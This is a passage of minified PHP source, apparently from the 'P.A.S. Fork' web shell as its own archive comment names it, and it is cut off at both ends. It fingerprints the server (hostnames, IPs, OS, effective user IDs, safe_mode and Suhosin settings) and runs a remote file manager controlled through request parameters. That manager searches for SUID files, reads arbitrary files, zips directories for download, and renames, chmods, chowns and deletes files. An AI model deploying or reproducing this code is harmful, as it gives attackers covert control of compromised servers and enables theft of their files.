foreach($a as$k => $v) if(isINI($v)) $i[] = $k; echo $h ? '' : '"'; if(isINI('suhosin.log.file') && getINI('suhosin.log.file.name', $v)){ echo $h ? ''; else jsonEcho($v); } } echo $h ? '
' : '[{"','Address', $h ? '' : '":'; $a = array(); foreach(array('HTTP_HOST','SERVER_ADDR','SERVER_NAME') as $v) if(isset($_SERVER[$v])){ $v = trim($_SERVER[$v]); if($v!==''&&!in_array($v,$a))$a[]=$v; } if($v = php_uname('n')){ $v = trim($v); if($v !== '' && !in_array($v,$a)) $a[] = $v; } if(PHP_VERSION>='5.3' && ($v = gethostname())){ $v = trim($v); if($v !== '' && !in_array($v,$a)) $a[] = $v; } $r=''; foreach($a as $k => $v){ if($k > 0) $r.=' / '; $r .= $v; if($i=gethostbynamel($v)){ $b = FALSE; foreach($i as $v) if(!in_array($v, $a)){ $a[] = $v; if($b) $r .= ', '; else{$b = TRUE; $r .= ' (';} $r .= $v; } if($b) $r .= ')'; } elseif(($i = gethostbyname($v)) && !in_array($v, $a)){ $a[] = $v; $r .= ' ('.$v.')'; } } if($h) echo escHTML($r); else jsonEcho($r); echo $h ? '
' : ',"','System', $h ? '' : '":'; $r = ''; if(($v = trim(php_uname('s').' '.php_uname('r').' '.php_uname('v').' '.php_uname('m'))) !== '') $r = $v; elseif(NIX && ($v = getFile('/proc/version'))) $r = $v; else{ if(defined('PHP_OS')) $r = PHP_OS; else $r = NIX ? '*NIX' : 'Windows'; if(!NIX){ $a = array(); foreach(array('PHP_WINDOWS_VERSION_MAJOR','PHP_WINDOWS_VERSION_MINOR','PHP_WINDOWS_VERSION_BUILD') as $v) if(defined($v)) $a[] = constant($v); if($a) $r .=' '.implode('.', $a); if(defined('PHP_WINDOWS_VERSION_SP_MAJOR') && PHP_WINDOWS_VERSION_SP_MAJOR > 0){ $r .= ' SP'.PHP_WINDOWS_VERSION_SP_MAJOR; if(defined('PHP_WINDOWS_VERSION_SP_MINOR') && PHP_WINDOWS_VERSION_SP_MINOR > 0) $r .= '.'.PHP_WINDOWS_VERSION_SP_MINOR; } } } if(NIX && (($v = trim(getFile('/etc/issue.net'))) !== '' || ($v = trim(getFile('/etc/issue'))) !== '')) $r .= ' ('.$v.')'; if($h) echo escHTML($r); else jsonEcho($r); if(!empty($_SERVER['SERVER_SOFTWARE'])){ echo $h ?'
' : ',"','Server', $h ? '':'":'; if($h) echo escHTML($_SERVER['SERVER_SOFTWARE']); else jsonEcho($_SERVER['SERVER_SOFTWARE']); } echo $h ? '
' : ',"','Software', $h ? '' : '":'; $r = 'PHP/'.PHP_VERSION; if(defined('SUHOSIN_PATCH_VERSION')) $r .= ' with Suhosin patch/'.SUHOSIN_PATCH_VERSION; $r .= '; '; if(defined('CURLE_OK')){ $r .= 'cURL'; $v = curl_version(); if(isset($v['version'])) $r.='/'.$v['version']; $r.='; '; } if($v = phpversion('Suhosin')) $r.=' Suhosin/'.$v; if($h) echo escHTML($r); else jsonEcho($r); echo $h ? '
' : ',"','User', $h ? '' : '":'; $r=''; $a = array(); if(NIX){ if(defined('POSIX_F_OK') || function_exists('posix_geteuid')){ if(is_int($v = posix_geteuid())) $r .= 'euid='.$v.'('.uName($v).'); '; if(is_int($v = posix_getegid())) $r .= 'egid='.$v.'('.gName($v).'); '; } if(is_int($v = getmyuid())) $r .= 'ouid='.$v.'('.uName($v).'); '; if(is_int($v = getmygid())) $r .= 'ogid='.$v.'('.gName($v).'); '; } $b = FALSE; foreach(array('REMOTE_ADDR','HTTP_X_REAL_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR') as $i){ if(!empty($_SERVER[$i])){ if($b) $r.= ', '; else{ $b = TRUE; $r .= 'IP: '; } $r .= $_SERVER[$i]; } } if($b) $r .= ';'; if($h) echo escHTML($r); else jsonEcho($r); echo $h ? '
':'},{"','Safe mode', $h ? '' : '":'; if(isINI('safe_mode')){ $v = isINI('safe_mode_gid') ? 'GID':'UID'; echo $h ? $v : '"'.$v.'"'; foreach(array('Include dir' => 'safe_mode_include_dir','Exec dir' => 'safe_mode_exec_dir', 'Vars prefixes' => 'safe_mode_allowed_env_vars', 'Protected vars' => 'safe_mode_protected_env_vars') as $k => $v){ if(!getINI($v, $v)) $v = '-'; echo $h ? '
' : ',"', $k, $h?'' : '":'; if($h) echo escHTML($v); else jsonEcho($v); } } else echo $h ? '-' : '"-"'; echo $h ? '
' : ',"', $k, $h ? '' : '":'; if($h) echo escHTML($v),'
' : '},{"', 'Suhosin mode', $h ? '' : '":"', $v ? 'simulation' : 'break', $h ? '
' : '","','Allow rewrite', $h ? '' : '":'; if(!getINI('suhosin.perdir', $v) || !$v) $v = '-'; if($h) echo escHTML($v),'
' : ',"', $k, $h ? '' : '":'; if($h) echo escHTML($v),'
' : ',"', 'Disabled', $h ?'' : '":"', $i ? implode(', ', $i) : '-', $h ? '
' : ',"','Log file', $h ? '' : '":'; if($h) echo escHTML($v),'
' : '}]'; } function parsePath($p, &$b, &$n){ $v = rtrim($p, DSC); $i = strrpos($v,DSC); if($i === FALSE){ if(!NIX && strlen($v) === 2 && $v[1] === ':'){ $b = $v.DSC; $n = ''; } else{ $b = DSC; $n = $v; } } else{ $b = substr($v,0,$i+1); $n = substr($v,$i+1); } } class FileInfo{ function __construct($v){ if(is_string($v)){ $this->fb = ''; $this->fn= '' ; parsePath($v, $this->fb, $this->fn); $this->fp = $this->fb.$this->fn; } else{ $this->fi = $v; $this->fp = $v->getPathName(); $this->fb = $v->getPath(); $this->fn = $v->getFileName(); } $this->rp = $this->fp; if($this->isLink()){ $this->rp = $this->getLinkTarget(); if(isset($this->t)) unset($this->t); if(isset($this->fi)) unset($this->fi); } } function getPath(){ return$this->fb; } function getFileName(){ return$this->fn; } function getPathName(){ return$this->fp; } function isDir(){ if(isset($this->d)) return$this->d; if(!isset($this->p)) $this->getPerms(); if($this->p !== 0){ $this->d = ($this->p & 0170000) === 0040000; return $this->d; } if(!isset($this->t)) $this->type(); if($this->t !== FALSE){ $this->d = $this->t === 'dir'; return $this->d; } $v = is_dir($this->fp); if(is_bool($v)){ $this->d = $v; return $v; } if(PHP_VERSION>='5') : if(!isset($this->fi)) $this->spl(); if($this->fi !== FALSE){ try{ $v = $this->fi->isDir(); } catch(Exception $e){ $v = NULL; } if(is_bool($v)){ $this->d = $v; return $v; } } endif; $this->d = FALSE; return FALSE; } function isLink() { if (isset($this->l)) return $this->l; $v = lstat($this->fp); if (is_array($v)) { $this->l = ($v[2] & 0170000) === 0120000; return $this->l; } if (!isset($this->t)) $this->type(); if ($this->t !== FALSE) { $this->l = $this->t === 'link'; return $this->l; } $v = is_link($this->fp); if (is_bool($v)) { $this->l = $v; return $v; } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->isLink(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->l = $v; return $v; } } endif; $this->l = FALSE; return FALSE; } function getLinkTarget() { if (isset($this->f)) return $this->f; if (NIX || PHP_VERSION >= '5.3') { $v = readlink($this->fp); if (is_string($v)) { $this->f = $v; return $v; } } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->getLinkTarget(); } catch (Exception $e) { $v = NULL; } if (is_string($v)) { $this->f = $v; return $v; } } endif; $v = realpath($this->fp); if (is_string($v)) { $this->f = $v; return $v; } $this->f = ''; return ''; } function getSize() { if (isset($this->s)) return $this->s; if (!isset($this->i)) $this->stat(); if ($this->i !== FALSE) { $this->s = $this->i[7]; return $this->s; } $v = filesize($this->fp); if (is_int($v)) { $this->s = $v; return $v; } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->getSize(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->s = $v; return $v; } } endif; $this->s = -1; return -1; } function getCTime() { if (isset($this->c)) return $this->c; if (!isset($this->i)) $this->stat(); if ($this->i !== FALSE) { $this->c = $this->i[10]; return $this->c; } $v = filectime($this->fp); if (is_int($v)) { $this->c = $v; return $v; } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->getCTime(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->c = $v; return $v; } } endif; $this->c = 0; return 0; } function getMTime() { if (isset($this->m)) return $this->m; if (!isset($this->i)) $this->stat(); if ($this->i !== FALSE) { $this->m = $this->i[9]; return $this->m; } $v = filemtime($this->fp); if (is_int($v)) { $this->m = $v; return $v; } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->getMTime(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->m = $v; return $v; } } endif; $this->m = 0; return 0; } function getOwner() { if (isset($this->o)) return $this->o; if (!isset($this->i)) $this->stat(); if ($this->i !== FALSE) { $this->o = $this->i[4]; return $this->o; } $v = fileowner($this->fp); if (is_int($v)) { $this->o = $v; return $v; } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->getOwner(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->o = $v; return $v; } } endif; $this->o = -1; return -1; } function getGroup() { if (isset($this->g)) return $this->g; if (!isset($this->i)) $this->stat(); if ($this->i !== FALSE) { $this->g = $this->i[5]; return $this->g; } $v = filegroup($this->fp); if (is_int($v)) { $this->g = $v; return $v; } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->getGroup(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->g = $v; return $v; } } endif; $this->g = -1; return -1; } function getPerms() { if (isset($this->p)) return $this->p; if (!isset($this->i)) $this->stat(); if ($this->i !== FALSE) { $this->p = $this->i[2]; return $this->p; } $v = fileperms($this->fp); if (is_int($v)) { $this->p = $v; return $v; } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->getPerms(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->p = $v; return $v; } } endif; $this->p = 0; return 0; } function isReadable() { if (isset($this->r)) return $this->r; $v = is_readable($this->fp); if (is_bool($v)) { $this->r = $v; return $v; } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->isReadable(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->r = $v; return $v; } } endif; $this->r = FALSE; return FALSE; } function isWritable() { if (isset($this->w)) return $this->w; $v = is_writable($this->fp); if (is_bool($v)) { $this->w = $v; return $v; } if (PHP_VERSION >= '5'): if (!isset($this->fi)) $this->spl(); if ($this->fi !== FALSE) { try { $v = $this->fi->isWritable(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->w = $v; return $v; } } endif; $this->w = FALSE; return FALSE; } function getMode() { $v = 0; if ($this->isReadable()) $v += 1; if ($this->isWritable()) $v += 2; return $v; } function stat() { $v = stat($this->fp); if (is_array($v)) { $this->i = $v; return; } $v = lstat($this->fp); $this->i = is_array($v) ? $v : FALSE; } function type() { $v = filetype($this->rp); $this->t = $v ? $v : FALSE; } function spl() { $this->fi = FALSE; if (PHP_VERSION >= '5'): if (PHP_VERSION >= '5.1.2') { try { $this->fi = new SplFileInfo($this->rp); } catch (Exception $e) { $this->fi = FALSE; } } endif; } } if(isset($D['a'])){ class PZIP { var $_bpl = '', $_cdfh = NULL, $_cdfp = NULL, $_cdfo = FALSE, $_cdrc = 0, $_cdso = 0, $_flrs = array(); function init($bp='') { $this->_bpl = strlen($bp); if ($h = tmpfile()) $this->_cdfh = $h; else { $n = tempName(); $a = array( 'upload_tmp_dir', 'session.save_path', 'user_dir', 'doc_root' ); foreach ($a as $v) if ($p = ini_get($v)) { $p .= DSC . $n; if ($h = fopen($p, 'bw+')) { flock($h, LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; return TRUE; } if (PHP_VERSION >= '5'): if (PHP_VERSION >= '5.1') { try { $h = new SplFileObject($p, 'bw+'); } catch (Exception $e) { $h = NULL; } if ($h) { $h->flock(LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; $this->_cdfo = TRUE; return TRUE; } } endif; } $p = selfPath() . $n; if ($h = fopen($p, 'bw+')) { flock($h, LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; return TRUE; } if (PHP_VERSION >= '5'): if (PHP_VERSION >= '5.1') { try { $h = new SplFileObject($p, 'bw+'); } catch (Exception $e) { $h = NULL; } if ($h) { $h->flock(LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; $this->_cdfo = TRUE; return TRUE; } } endif; } return FALSE; } function fileHeader($n, $t) { echo "\x50\x4b\x03\x04\x14\x00\x08\x00\x00\x00", $t, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", pack('v', strlen($n)), "\x00\x00", $n; ob_start('zipCalc', 1048576); } function fileFooter($n, $t) { ob_end_flush(); $v = zipCalc(NULL); $s = pack('V', $v[0]); $c = pack('V', $v[1] ^ 0xffffffff); echo "\x50\x4b\x07\x08", $c, $s, $s; $fh = $this->_cdfh; $nl = strlen($n); $data = "\x50\x4b\x01\x02\x00\x00\x14\x00\x08\x00\x00\x00" . $t . $c . $s . $s . pack('v', $nl) . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . pack('V', $this->_cdso) . $n; if ($this->_cdfo) { $fh->fwrite($data); $fh->fflush(); } else { fwrite($fh, $data); fflush($fh); } ++$this->_cdrc; $this->_cdso += 46 + $v[0] + $nl; } function addPath($p) { $f = new FileInfo($p); if ($f->isDir()) { if (substr($p, -1) !== DSC) $p .= DSC; $f = NULL; if (!dirRead($p, array( &$this, 'addPath' ))) $this->_flrs[] = substr($p, $this->_bpl); } else { $t = packTime($f->getMTime()); $f = substr($p, $this->_bpl); if (!NIX) $f = str_replace(DSC, '/', $f); $this->fileHeader($f, $t); if (!outFile($p)) $this->_flrs[] = $f; $this->fileFooter($f, $t); } } function close() { if (count($this->_flrs) > 0) { $n = 'CANT_READ.txt'; $t = packTime(time()); $this->fileHeader($n, $t); foreach ($this->_flrs as $v) echo $v, "\n"; $this->fileFooter($n, $t); } $fh = $this->_cdfh; if ($this->_cdfo) { $s = $fh->ftell(); $fh->fseek(0); if (!is_int($fh->fpassthru())) while (!$fh->eof()) echo $fh->fread(1048576); $fh->flock(LOCK_UN); unset($fh, $this->_cdfh); } else { $s = ftell($fh); fseek($fh, 0); if (!is_int(fpassthru($fh))) while (!feof($fh)) echo fread($fh, 1048576); flock($fh, LOCK_UN); fclose($fh); } if ($this->_cdfp !== NULL) delFile($this->_cdfp); $v = pack('v', $this->_cdrc); $c = 'Archived by P.A.S. Fork v. ' . VER; echo "\x50\x4b\x05\x06\x00\x00\x00\x00", $v, $v, pack('V', $s), pack('V', $this->_cdso), pack('v', strlen($c)), $c; sDie(); } } function packTime($v) { $v = getdate($v); return pack('vv', (($v['hours'] << 11) + ($v['minutes'] << 5) + $v['seconds'] >> 1), ((($v['year'] - 1980) << 9) + ($v['mon'] << 5) + $v['mday'])); } if (!defined('PHP_INT_MAX')) define('PHP_INT_MAX', intval('10000000000000000000')); function zipCalc($buff) { static $crcTbl = NULL, $chrTbl = NULL, $dataSize = 0, $crcSum = 0xffffffff, $shftFix = 0; if ($crcTbl === NULL) { $shftFix = PHP_INT_MAX >> 0; for ($i = 0; $i < 256; ++$i) { $v = $i; for ($j = 8; $j; --$j) $v = $v & 1 ? $v >> 1 & $shftFix ^ 0xEDB88320 : $v >> 1 & $shftFix; $crcTbl[] = $v; $chrTbl[chr($i)] = $i; } $shftFix = PHP_INT_MAX >> 7; } elseif ($buff === NULL) { $v = array( $dataSize, $crcSum ); $dataSize = 0; $crcSum = 0xffffffff; return $v; } $c = strlen($buff); $dataSize += $c; for ($i = 0; $i < $c; ++$i) $crcSum = $crcTbl[$crcSum & 0xFF ^ $chrTbl[$buff[$i]]] ^ $crcSum >> 8 & $shftFix; return $buff; } function jsonEcho($v) { static $s = NULL, $r = NULL; if ($s === NULL) { $s = array( '\\', '"' ); $r = array( '\u005c', '\u0022' ); for ($i = 0; $i <= 0x1F; ++$i) { $s[] = chr($i); $r[] = sprintf('\u00%02s', dechex($i)); } } echo $v === NULL ? '"NULL"' : '"' . str_replace($s, $r, $v) . '"'; } switch ($D['a']) { case 'f': function testProp($a, $v) { foreach ($a as $i) if (is_array($i)) { if (count($i) === 2) { if ($v > $i[0] && $v < $i[1]) return TRUE; } elseif (isset($i[0])) { if ($v > $i[0]) return TRUE; } elseif ($v < $i[1]) return TRUE; } elseif ($v === $i) return TRUE; return FALSE; } class Searcher { var $f, $d, $p, $a; function __construct($v) { echo '{"f":['; $this->f = $v; $this->d = 0; $this->p = NULL; $this->a = array(); } function filter($v) { $i = new FileInfo($v); $k = $i->getFileName(); $f = $this->f; if ($k === '.' || $k === '..') return; if ($i->isLink() && !isset($f['l'])) return; $b = $i->isDir(); if ($b && (!isset($f['d']) || $f['d'] > $this->d)) $this->a[] = $v; if (isset($f['y']) && ($f['y'] === 1 ? !$b : $b)) return; if (isset($f['p']) && $i->getMode() < $f['p']) return; if (!$b && isset($f['u']) && ($i->getPerms() & 0007000) !== 0004000) return; if (isset($f['n'])) { if ($k !== $f['n']) return; } elseif (isset($f['i'])) { if (strcasecmp($k, $f['i']) !== 0) return; } elseif (isset($f['r'])) { if (!preg_match($f['r'], $k)) return; } if (isset($f['o']) && !testProp($f['o'], $i->getOwner())) return; if (isset($f['g']) && !testProp($f['g'], $i->getGroup())) return; if (isset($f['e']) && !testProp($f['e'], $i->getCTime())) return; if (isset($f['m']) && !testProp($f['m'], $i->getMTime())) return; if (!$b && isset($f['z']) && !testProp($f['z'], $i->getSize())) return; if (!$b && (isset($f['t']) || isset($f['v']) || isset($f['x']))) { if (!is_string($k = getFile($v))) return; if (isset($f['t'])) { if (strpos($k, $f['t']) === FALSE) return; } elseif (isset($f['v'])) { if (stristr($k, $f['v']) === FALSE) return; } elseif (!preg_match($f['x'], $k)) return; } $k = $i->getPath(); if ($this->p !== $k) { if ($this->p !== NULL) echo ']},'; echo '{"p":'; jsonEcho($k); $this->p = $k; $k = new FileInfo($k); echo ',"m":', $k->getMode(), ',"f":['; } outFileInfo($i); } function search($v) { $this->a = array(); dirRead($v, array( &$this, 'filter' )); if (!isset($this->f['d']) || $this->f['d'] > $this->d) { ++$this->d; $a = $this->a; foreach ($a as $v) $this->search($v); } } function finish() { if ($this->p !== NULL) { echo ']}]'; outFileInfo(NULL, TRUE); } else echo ']'; sDie('}'); } } function dirRead($p, $f) { $b = is_string($f); if (substr($p, -1) !== DSC) $p .= DSC; if ($v = opendir($p)) { while (($i = readdir($v)) !== FALSE) if ($i !== '.' && $i !== '..') $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i); closedir($v); return TRUE; } if ($v = dir($p)) { while (($i = $v->read()) !== FALSE) if ($i !== '.' && $i !== '..') $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i); $v->close(); return TRUE; } if (PHP_VERSION >= '5'): try { $v = new DirectoryIterator($p); } catch (Exception $e) { $v = FALSE; } if ($v) { foreach ($v as $i) { $n = $i->getFileName(); if ($n !== '.' && $n !== '..') $b ? $f($i) : $f[0]->{$f[1]}($i); } unset($i, $v); return TRUE; } try { $v = new RecursiveDirectoryIterator($p); } catch (Exception $e) { $v = FALSE; } if ($v) { foreach ($v as $i) $b ? $f($i) : $f[0]->{$f[1]}($i); unset($i, $v); return TRUE; } if (PHP_VERSION >= '5.3') { try { $v = new FilesystemIterator($p); } catch (Exception $e) { $v = FALSE; } if ($v) { foreach ($v as $i) $b ? $f($i) : $f[0]->{$f[1]}($i); unset($i, $v); return TRUE; } } $v = defined('SCANDIR_SORT_NONE') ? scandir($p, SCANDIR_SORT_NONE) : scandir($p); if ($v !== FALSE) { foreach ($v as $i) if ($i !== '.' && $i !== '..') $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i); return TRUE; } endif; if (PHP_VERSION >= '4.3' && defined('GLOB_BRACE') && ($v = glob($p . DSC . '{,.}*', GLOB_NOESCAPE | GLOB_NOSORT | GLOB_BRACE))) { foreach ($v as $i) { $n = fileName($i); if ($n !== '.' && $n !== '..') $b ? $f($i) : $f[0]->{$f[1]}($i); } return TRUE; } if (PHP_VERSION >= '5'): if (PHP_VERSION >= '5.3') { try { $v = new GlobIterator($p . '*'); } catch (Exception $e) { $v = FALSE; } if ($v && count($v) > 0) { foreach ($v as $i) $b ? $f($i) : $f[0]->{$f[1]}($i); unset($i, $v); return TRUE; } } endif; return FALSE; } function delDir($p) { dirRead($p, 'delFOD'); return rmdir($p); } function delFOD($f) { $f = new FileInfo($f); $n = $f->getFileName(); if ($n !== '.' && $n !== '..') return (!$f->isLink() && $f->isDir()) ? delDir($f->getPathName()) : delFile($f->getPathName()); } function isInt($v) { return (string) $v === (string) (int) $v; } function jsonFileInfo($f, $b) { echo '['; jsonEcho($b ? $f->getPathName() : $f->getFileName()); echo ',', $f->isDir() ? 'null' : $f->getSize(), ',', (TM ? $f->getCTime() : $f->getMTime()), ',', $f->getMode(), ',"', $f->getPerms(), '"'; if (NIX) { echo ',', $f->getOwner(), ',', $f->getGroup(); if ($b) { echo ','; jsonEcho(uName($f->getOwner())); echo ','; jsonEcho(gName($f->getGroup())); } } if ($f->isLink()) { echo ','; jsonEcho($f->getLinkTarget()); } echo ']'; } function outFileInfo($f, $b = NULL) { static $p = NULL, $o = array(), $g = array(); if ($b === TRUE) { if (!NIX || count($o) === 0) return; $b = FALSE; echo ',"o":{'; foreach ($o as $k => $v) { if ($b) echo ','; else $b = TRUE; echo '"', $k, '":'; jsonEcho(uName($k)); } $b = FALSE; echo '},"g":{'; foreach ($g as $k => $v) { if ($b) echo ','; else $b = TRUE; echo '"', $k, '":'; jsonEcho(gName($k)); } echo '}'; return; } if ($b === FALSE) { $p = NULL; return; } if (!isset($f->fp)) $f = new FileInfo($f); if ($p === $f->getPath()) echo ','; else $p = $f->getPath(); jsonFileInfo($f, FALSE); if (NIX) { $o[$f->getOwner()] = 1; $g[$f->getGroup()] = 1; } } function outFile($p) { if (preg_match('/\.gz$/i', $p)) { if (is_int(readgzfile($p))) return TRUE; if ($v = gzopen($p)) { if (!is_int(gzpassthru($v))) while (!gzeof($v)) echo gzread($v, 1048576); gzclose($v); return TRUE; } if ($v = gzfile($p)) { if (is_array($v)) { foreach ($v as $i) echo $i; return TRUE; } } } if (RO && is_int(readfile($p))){ return TRUE; } if (RO && copy($p, 'php://output')) return TRUE; if ($v = fopen($p, 'rb')) { if (!is_int(fpassthru($v))) while (!feof($v)) echo fread($v, 1048576); fclose($v); return TRUE; } if (PHP_VERSION >= '5'): if (PHP_VERSION >= '5.1') { try { $v = new SplFileObject($p, 'rb'); } catch (Exception $e) { $v = FALSE; } if ($v) { if (!is_int($v->fpassthru())) while (!$v->eof()) echo $v->fgets(); unset($v); return TRUE; } } endif; if (PHP_VERSION >= '4.3') { $v = file_get_contents($p); if (is_string($v)) { echo $v; return TRUE; } } $v = file($p); if (is_array($v)) { foreach ($v as $i) echo $i; return TRUE; } return FALSE; } if (isset($D['s'])) { $a = array(); $e = '{"e":"You have syntax error in %s pattern"}'; if (isset($D['n'])) { if (isset($D['w'])) { $r = '#^'; $c = ''; $p = ''; $q = 0; $b = FALSE; for ($i = 0, $l = strlen($D['n']); $i < $l; ++$i) { $c = $D['n'][$i]; if ($q > 0 && $c !== '?') { $r .= '.'; if ($q > 1) $r .= '{' . $q . '}'; $q = 0; } switch ($c) { case '*': if ($c !== $p) $r .= '.*'; break; case '?': ++$q; break; case '\\': if ($i + 1 >= $l) sDie(sprintf($e, 'name')); $r .= $c . $D['n'][++$i]; break; case '[': ++$b; $r .= $c; break; case ']': --$b; $r .= $c; break; case '-': $r .= $b > 0 ? $c : '\\-'; break; case '!': $r .= $p === '[' ? '^' : '\\!'; break; default: $r .= addcslashes($c, '.+^$(){}=<>|:#'); break; } $p = $c; } if ($q > 0) { $r .= '.'; if ($q > 1) $r .= '{' . $q . '}'; } $r .= '$#'; if (isset($D['i'])) $r .= 'i'; if (preg_match($r, '') === FALSE) sDie(sprintf($e, 'name')); $a['r'] = $r; } elseif (isset($D['i'])) $a['i'] = $D['n']; else $a['n'] = $D['n']; } if (isset($D['t'])) { if (isset($D['x'])) { if (preg_match('#' . $D['x'] . '#', '') === FALSE) sDie(sprintf($e, 'text')); $a['x'] = '#' . $D['t'] . '#'; if (isset($D['v'])) $a['x'] .= 'i'; } elseif (isset($D['v'])) $a['v'] = $D['t']; else $a['t'] = $D['t']; } $i = array( 'l', 'd', 'y', 'p', 'u' ); foreach ($i as $k) if (isset($D[$k])) $a[$k] = (int) $D[$k]; $i = array( 'o', 'g', 'z' ); foreach ($i as $k) if (isset($D[$k])) { $s = explode(',', $D[$k]); foreach ($s as $n => $v) if (strpos($v, '-')) { $v = explode('-', $v, 2); $a[$k][$n] = array( (int) $v[0], (int) $v[1] ); } else switch (substr(trim($v), 0, 1)) { case '>': $a[$k][$n][0] = (int) substr(trim($v), 1); break; case '<': $a[$k][$n][1] = (int) substr(trim($v), 1); break; default: $a[$k][$n] = (int) $v; break; } } $i = array( 'e', 'm' ); foreach ($i as $k) if (isset($D[$k])) { $s = explode(',', $D[$k]); foreach ($s as $n => $v) if (strpos(' - ', $v)) { $v = explode(' - ', $v, 2); $a[$k][$n] = array( strtotime(trim($v[0]) . 'UTC'), strtotime(trim($v[1]) . 'UTC') ); } else switch (substr(trim($v), 0, 1)) { case '>': $a[$k][$n][0] = strtotime(substr(trim($v), 1) . 'UTC'); break; case '<': $a[$k][$n][1] = strtotime(substr(trim($v), 1) . 'UTC'); break; default: $a[$k][$n] = strtotime(trim($v) . 'UTC'); break; } } $s = new Searcher($a); foreach ($D['s'] as $v) $s->search($v); $s->finish(); } if (isset($D['g'])) { if ($D['g'] === '~' || $D['g'] === '') $D['g'] = selfPath(); $i = new FileInfo($D['g']); if (substr($D['g'], -1) === DSC || $i->isDir()) { echo '{"p":'; if (substr($D['g'], -1) !== DSC) $D['g'] .= DSC; jsonEcho($D['g']); echo ',"m":', $i->getMode(), ',"f":['; dirRead($i->getPathName(), 'outFileInfo'); echo ']'; outFileInfo(NULL, TRUE); sDie('}'); } echo "\x01\x02"; $b = outFile($D['g']); echo "\x03\x1E"; if ($b) { echo "\x06["; jsonEcho($D['g']); echo ',', $i->getMode(), ']'; } else echo "\x15", $D['g']; sDie("\x17\x04\x10"); } if (isset($D['i'])) { jsonFileInfo(new FileInfo($D['i']), TRUE); sDie(); } if (isset($D['h'])) { echo '{'; $a = array(); $t = array(); $e = array(); $b = NULL; $m = count($D['h']) > 1; if ($m && isset($D['p']) && substr($D['p'], -1) !== DSC) $D['p'] .= DSC; if (isset($D['t'])) $D['t'] = strtotime($D['t'] . 'UTC'); if (isset($D['e'])) $D['e'] = intval($D['e'], 8); if (isset($D['r']) && isInt($D['r'])) $D['r'] = (int) $D['r']; if (isset($D['o']) && isInt($D['o'])) $D['o'] = (int) $D['o']; sort($D['h']); foreach ($D['h'] as $v) { if (isset($D['p'])) { parsePath($v, $s, $n); if ($m) { $d = $D['p']; $p = $d . $n; } else { $d = filePath($D['p']); $p = $D['p']; } $c = array(); if (!isset($t[$s])) { $i = new FileInfo($s); $i = $i->getMTime(); if ($i) $c[$s] = $i; } if (!isset($t[$d])) { $i = new FileInfo($d); $i = $i->getMTime(); if ($i) $c[$d] = $i; } else $i = $t[$d]; if (!isset($D['t']) && $i) $c[$p] = $i; if (rename($v, $p)) { if ($s !== $b) { echo $b === NULL ? '"r":[' : ']},'; echo '{"p":'; jsonEcho($s); echo ',"f":['; $b = $s; } else echo ','; jsonEcho($n); $t += $c; $v = $p; $a[$p] = 1; } else $e[$v][] = 'path'; } if (isset($D['t'])) { if (touch($v, $D['t'])) $a[$v] = 1; else $e[$v][] = 'modified date'; } if (isset($D['e'])) { if (chmod($v, $D['e'])) $a[$v] = 1; else $e[$v][] = 'permission'; } if (isset($D['r'])) { if (chgrp($v, $D['r'])) $a[$v] = 1; else $e[$v][] = 'group'; } if (isset($D['o'])) { if (chown($v, $D['o'])) $a[$v] = 1; else $e[$v][] = 'owner'; } } $b = $b !== NULL; if ($b) echo ']}]'; if (count($a) > 0) { if ($b) echo ','; else $b = TRUE; echo '"c":[{"p":'; foreach ($t as $k => $v) touch($k, $v); clearstatcache(); ksort($a); $p = NULL; foreach ($a as $v => $k) { $k = filePath($v); if ($k !== $p) { if ($p !== NULL) echo ']},{"p":'; jsonEcho($k); echo ',"f":['; $p = $k; } outFileInfo($v); } echo ']}]'; outFileInfo(NULL, TRUE); } if ($e) { if ($b) echo ','; $b = FALSE; echo '"e":['; foreach ($e as $k => $v) { if ($b) echo ','; else $b = TRUE; jsonEcho(implode(', ', $v) . ' for ' . $k); } echo ']'; } sDie('}'); } if (isset($D['d'])) { if (is_array($D['d'])) { $v = new PZIP(); $v->init($D['DBP']); foreach ($D['d'] as $i) $v->addPath($i); $v->close(); } $v = new FileInfo($D['d']); if ($v->isDir()) { $v = new PZIP(); $v->init($D['d']); $v->addPath($D['d']); $v->close(); } if (outFile($D['d']) || defined('CED')) sDie(); header('Content-Disposition: inline'); header('Content-Type: application/json; charset=' . CSE); sDie('0'); } if (isset($D['u'])) { echo '{'; $a = array(); $e = array(); $b = FALSE; $k = NULL; sort($D['u']); foreach ($D['u'] as $v) { parsePath($v, $p, $n); if (!isset($a[$p])) { $t = new FileInfo($p); $t = 